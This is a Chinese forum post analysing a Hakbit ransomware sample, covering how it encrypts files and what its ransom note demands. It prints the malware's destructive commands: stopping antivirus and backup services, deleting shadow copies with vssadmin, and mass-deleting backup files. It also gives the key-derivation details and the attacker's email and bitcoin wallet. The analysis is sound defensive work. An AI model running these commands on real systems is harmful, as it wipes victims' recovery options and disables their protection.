Potato 发表于 2021-5-26 15:41

Hakbit勒索病毒样本分析

本帖最后由 Potato 于 2021-5-26 15:48 编辑

相关阅读:Hakbit勒索病毒样本分析

一、      样本信息

文件名:Client-0.exe
MD5:fcc1d31bcb5dfa32df25d14579f82514
SHA1:334160b2dcbbec12712daf1d39b257e64e97af64

二、      代码分析
    Hakbit由C#进行编译,启动程序需要管理员权限。

    如果病毒成功以管理员权限启动,将获取更高的文件访问和控制权限,并且可以执行更高权限的命令。
1.      删除卷影&服务&进程
    Hakbit通过调用cmd.exe执行相应命令,从而达到删除卷影备份、结束目标服务及进程的目的。
结束反病毒软件、服务器备份等相关服务。

[*]      net.exe stop avpsus /y
[*]      net.exe stop McAfeeDLPAgentService /y
[*]      net.exe stop mfewc /y
[*]      net.exe stop BMR Boot Service /y
[*]      net.exe stop NetBackup BMR MTFTP Service /y

    禁用数据库等相关服务开机自启动。

[*]      sc.exe config SQLELEMENTRY start= disabled
[*]      sc.exe config SQLELEMENTRY$ECWDB2 start= disabled
[*]      sc.exe config SQLWriter start= disabled
[*]      sc.exe config SstpSvc start= disabled

    结束数据库相关进程。

[*]      taskkill.exe /IM mspub.exe /F
[*]      taskkill.exe /IM mydesktopqos.exe /F
[*]      taskkill.exe /IM mydektopservice.exe /F
删除卷影。

[*]      vssadmin.exe Delete Shadow /all /quiet
[*]      vssadmin.exe resize shadowstorage /for=c: /on=c:/maxsize=401MB
[*]      vssadmin.exe resize shadowstorage /for=c: /on=c:/maxsize=unbounded
[*]      vssadmin.exe resize shadowstorage /for=d: /on=d:/maxsize=401MB
[*]      vssadmin.exe resize shadowstorage /for=d: /on=d:/maxsize=unbounded
[*]      vssadmin.exe resize shadowstorage /for=e: /on=e:/maxsize=401MB
[*]      vssadmin.exe resize shadowstorage /for=e: /on=e:/maxsize=unbounded
[*]      vssadmin.exe resize shadowstorage /for=f: /on=f:/maxsize=401MB
[*]      vssadmin.exe resize shadowstorage /for=f: /on=f:/maxsize=unbounded
[*]      vssadmin.exe resize shadowstorage /for=g: /on=g:/maxsize=401MB
[*]      vssadmin.exe resize shadowstorage /for=g: /on=g:/maxsize=unbounded
[*]      vssadmin.exe resize shadowstorage /for=h: /on=h:/maxsize=401MB
[*]      vssadmin.exe resize shadowstorage /for=h: /on=h:/maxsize=unbounded

通过匹配扩展名,删除各个磁盘下可能存放的备份文件。

<div&gt;      del.exe /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk
</div&gt;<div&gt;      del.exe /s /f /q d:\\*.VHD d:\\*.bac d:\\*.bak d:\\*.wbcat d:\\*.bkf c:\\Backup*.* c:\\backup*.* d:\\*.set d:\\*.win d:\\*.dsk
</div&gt;<div&gt;      del.exe /s /f /q e:\\*.VHD e:\\*.bac e:\\*.bak e:\\*.wbcat e:\\*.bkf c:\\Backup*.* c:\\backup*.* e:\\*.set e:\\*.win e:\\*.dsk
</div&gt;<div&gt;      del.exe /s /f /q f:\\*.VHD f:\\*.bac f:\\*.bak f:\\*.wbcat f:\\*.bkf c:\\Backup*.* c:\\backup*.* f:\\*.set f:\\*.win f:\\*.dsk
</div&gt;<div&gt;      del.exe /s /f /q g:\\*.VHD g:\\*.bac g:\\*.bak g:\\*.wbcat g:\\*.bkf c:\\Backup*.* c:\\backup*.* g:\\*.set g:\\*.win g:\\*.dsk
</div&gt;<div&gt;      del.exe /s /f /q h:\\*.VHD h:\\*.bac h:\\*.bak h:\\*.wbcat h:\\*.bkf c:\\Backup*.* c:\\backup*.* h:\\*.set h:\\*.win h:\\*.dsk</div&gt;
之后调用API SHEmptyRecycleBin清空回收站。

2.      搜索文件进行加密
    Hakbit加密目标包括所有已就绪磁盘,以及用户的下载目录、图片、桌面、音频等路径。

    搜索时,跳过以下.NET中环境变量指向的路径,主要是与系统运行、应用程序运行相关目录,避免因加密相关的文件导致系统和部分应用无法使用。

[*]      Windows
[*]      System
[*]      SystemX86
[*]      CommonProgramFiles
[*]      CommonProgramFilesX86
[*]      ProgramFiles
[*]      ProgramFilesX86

    枚举出目标路径的下的所有文件,对其中以下类型的文件进行加密。
      txt; jpeg; gif; jpg; png; php; cs; cpp; rar; zip; html; htm; xlsx; avi; mp4; ppt; doc; docx; xlsx; sxi; sxw; odt; hwp; zip; rar; tar; bz2; mp4; mkv; eml; msg; ost; pst; edb; sql; accdb; mdb; dbf; odb; myd; php; java; cpp; pas; asm; key; pfx; pem; p12; csr; gpg; aes; vsd; odg; raw; nef; svg; psd; vmx; vmdk; vdi; lay6; sqlite3; sqlitedb; accdb; java; class; mpeg; djvu; tiff; backup; pdf; cert; docm; xlsm; dwg; bak; qbw; nd; tlg; lgb; pptx; mov; xdw; ods; wav; mp3; aiff; flac; m4a; csv; sql; ora; mdb; mdf; ldf; ndf; dtsx; rdl; dim
3.      文件加密方式
    Hakbit对文件进行加密时采用对称加密算法AES256,加密模式CBC(Cipher Block Chaining)。
加密密钥Key通过24字节随机值经Base64编码后获取,长度为32字节。利用获取的32字节随机编码值以及8字节长度的字节串”\x01\x02\x03\x04\x05\x06\x07\x08”,分别作为Rfc2898DeriveBytes的password和salt参数值,迭代52768(文件长度>10MB)或1000(文件长度≤10MB)次后从中获取32字节的AES随机加密密钥,以及16字节的随机IV。
病毒最多只加密文件的前10MB内容,而小于10MB文件将被全部加密。

长度大于10MB的文件加密方式:读取文件前10MB内容到内存进行AES加密后,写回原文件首部。

    长度小于等于10MB的文件加密方式:在待加密文件同目录下创建名为”待加密文件名+.part”的新文件,读取原文件内容到内存,加密后写入新文件,并删除原文件,最后去除新文件的”.part”后缀。

被加密文件名在加密前后并无变化。
以长度大于10MB的文件为例,文件加密流程以及文件加密后结构如下图:

    病毒使用内置RSA-2048公钥,对32字节的password值进行加密,加密结果经Base64编码后作为勒索信息提示文件中的”Unique Identifier Key”。黑客使用手中相应的RSA-2048私钥解密该数据,可获取文件加密密钥,从而恢复被加密文件数据。

4.      勒索信息提示文件
病毒在桌面以及所有被加密目录下创建一个勒索信息提示文件HELP_ME_RECOVER_MY_FILES.txt,并使用notepad.exe打开桌面的提示文件。




HELP_ME_RECOVER_MY_FILES.txt:

提示文件中告知用户,可免费解密不小于3MB的被加密数据,确认黑客具有可恢复数据能力。想要恢复所有数据需要支付价值300$的比特币,支付后需要发送wallet ID以及unique identifier key到黑客邮箱,被用于确认和解密。
黑客邮箱:recoba90@protonmail.com
黑客BitCoin钱包地址:32bzWrWXXbWGSwB4gGTQt8RdzuNQVaS9Md
5.      删除自身
    病毒执行的最后,使用choice命令延迟3秒,自身退出后,del命令将删除自身。
      cmd.exe /C choice /C Y /N /D Y /T 3 & Del&lt;ModuleFileName&gt;




当前Hakbit样本中还有诸如文件上传、信息上传、桌面壁纸设置等功能函数,但是当前病毒中并未调用。
页: [1]
查看完整版本: Hakbit勒索病毒样本分析